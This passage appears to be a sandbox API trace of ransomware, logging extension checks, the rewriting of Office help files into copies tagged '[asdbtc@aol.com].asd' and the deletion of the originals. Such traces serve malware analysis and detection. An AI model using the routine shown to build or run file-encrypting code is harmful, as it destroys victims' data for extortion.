lstrlenW (lpString=".ppt") returned 4 [0050.016] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.016] lstrlenW (lpString=".zip") returned 4 [0050.016] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString=".rar") returned 4 [0050.016] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString=".bz2") returned 4 [0050.016] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.016] lstrlenW (lpString=".7z") returned 3 [0050.016] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.016] lstrlenW (lpString=".dbf") returned 4 [0050.016] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.017] lstrlenW (lpString=".1cd") returned 4 [0050.017] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.017] lstrlenW (lpString=".jpg") returned 4 [0050.017] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.017] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0050.017] lstrlenW (lpString="PSS10O.CHM") returned 10 [0050.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.017] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=26929) returned 1 [0050.017] CloseHandle (hObject=0x1e4) returned 1 [0050.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0050.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.018] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.018] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.018] GetLastError () returned 0x0 [0050.018] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x6931, lpOverlapped=0x0) returned 1 [0050.020] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x6940, lpOverlapped=0x0) returned 1 [0050.022] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0050.022] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.022] SetEndOfFile (hFile=0x1fc) returned 1 [0050.022] CloseHandle (hObject=0x1fc) returned 1 [0050.024] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.024] SetEndOfFile (hFile=0x1e4) returned 1 [0050.025] CloseHandle (hObject=0x1e4) returned 1 [0050.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.025] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.025] lstrlenW (lpString=".doc") returned 4 [0050.025] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.025] lstrlenW (lpString=".docx") returned 5 [0050.025] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0050.025] lstrlenW (lpString=".pdf") returned 4 [0050.025] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.025] lstrlenW (lpString=".xls") returned 4 [0050.025] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.025] lstrlenW (lpString=".xlsx") returned 5 [0050.025] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0050.025] lstrlenW (lpString=".ppt") returned 4 [0050.025] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.026] lstrlenW (lpString=".zip") returned 4 [0050.026] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString=".rar") returned 4 [0050.026] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString=".bz2") returned 4 [0050.026] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.026] lstrlenW (lpString=".7z") returned 3 [0050.026] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.026] lstrlenW (lpString=".dbf") returned 4 [0050.026] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.026] lstrlenW (lpString=".1cd") returned 4 [0050.026] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.026] lstrlenW (lpString=".jpg") returned 4 [0050.026] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.026] lstrlenW (lpString=".doc") returned 4 [0050.026] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString=".docx") returned 5 [0050.026] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0050.026] lstrlenW (lpString=".pdf") returned 4 [0050.026] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString=".xls") returned 4 [0050.026] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString=".xlsx") returned 5 [0050.026] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0050.026] lstrlenW (lpString=".ppt") returned 4 [0050.026] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.027] lstrlenW (lpString=".zip") returned 4 [0050.027] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.027] lstrlenW (lpString=".rar") returned 4 [0050.027] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.027] lstrlenW (lpString=".bz2") returned 4 [0050.027] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.027] lstrlenW (lpString=".7z") returned 3 [0050.027] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.027] lstrlenW (lpString=".dbf") returned 4 [0050.027] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.027] lstrlenW (lpString=".1cd") returned 4 [0050.027] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0050.027] lstrlenW (lpString=".jpg") returned 4 [0050.027] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.027] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0050.027] lstrlenW (lpString="PSS10R.CHM") returned 10 [0050.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.028] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=27195) returned 1 [0050.028] CloseHandle (hObject=0x1e4) returned 1 [0050.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0050.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.029] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.029] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.029] GetLastError () returned 0x0 [0050.029] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0050.031] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0050.032] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0050.032] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.033] SetEndOfFile (hFile=0x1fc) returned 1 [0050.033] CloseHandle (hObject=0x1fc) returned 1 [0050.035] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.035] SetEndOfFile (hFile=0x1e4) returned 1 [0050.036] CloseHandle (hObject=0x1e4) returned 1 [0050.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.036] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0050.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.036] lstrlenW (lpString=".doc") returned 4 [0050.036] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.036] lstrlenW (lpString=".docx") returned 5 [0050.036] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0050.036] lstrlenW (lpString=".pdf") returned 4 [0050.036] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString=".xls") returned 4 [0050.037] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString=".xlsx") returned 5 [0050.037] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0050.037] lstrlenW (lpString=".ppt") returned 4 [0050.037] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.037] lstrlenW (lpString=".zip") returned 4 [0050.037] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString=".rar") returned 4 [0050.037] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString=".bz2") returned 4 [0050.037] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.037] lstrlenW (lpString=".7z") returned 3 [0050.037] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.037] lstrlenW (lpString=".dbf") returned 4 [0050.037] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.037] lstrlenW (lpString=".1cd") returned 4 [0050.037] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.037] lstrlenW (lpString=".jpg") returned 4 [0050.037] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.038] lstrlenW (lpString=".doc") returned 4 [0050.038] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString=".docx") returned 5 [0050.038] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0050.038] lstrlenW (lpString=".pdf") returned 4 [0050.038] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString=".xls") returned 4 [0050.038] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString=".xlsx") returned 5 [0050.038] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0050.038] lstrlenW (lpString=".ppt") returned 4 [0050.038] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.038] lstrlenW (lpString=".zip") returned 4 [0050.038] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString=".rar") returned 4 [0050.038] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString=".bz2") returned 4 [0050.038] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.038] lstrlenW (lpString=".7z") returned 3 [0050.038] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.038] lstrlenW (lpString=".dbf") returned 4 [0050.038] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.038] lstrlenW (lpString=".1cd") returned 4 [0050.038] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0050.038] lstrlenW (lpString=".jpg") returned 4 [0050.038] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.039] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0050.039] lstrlenW (lpString="SETUP.CHM") returned 9 [0050.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.040] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=67190) returned 1 [0050.040] CloseHandle (hObject=0x1e4) returned 1 [0050.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0050.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.042] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.042] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.042] GetLastError () returned 0x0 [0050.042] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x10676, lpOverlapped=0x0) returned 1 [0050.386] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x10680, lpOverlapped=0x0) returned 1 [0050.388] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0050.388] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.388] SetEndOfFile (hFile=0x1fc) returned 1 [0050.388] CloseHandle (hObject=0x1fc) returned 1 [0050.390] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.390] SetEndOfFile (hFile=0x1e4) returned 1 [0050.392] CloseHandle (hObject=0x1e4) returned 1 [0050.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.392] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0050.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.392] lstrlenW (lpString=".doc") returned 4 [0050.392] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.392] lstrlenW (lpString=".docx") returned 5 [0050.392] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0050.392] lstrlenW (lpString=".pdf") returned 4 [0050.392] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString=".xls") returned 4 [0050.393] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString=".xlsx") returned 5 [0050.393] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0050.393] lstrlenW (lpString=".ppt") returned 4 [0050.393] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.393] lstrlenW (lpString=".zip") returned 4 [0050.393] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString=".rar") returned 4 [0050.393] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString=".bz2") returned 4 [0050.393] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.393] lstrlenW (lpString=".7z") returned 3 [0050.393] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0050.393] lstrlenW (lpString=".dbf") returned 4 [0050.393] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 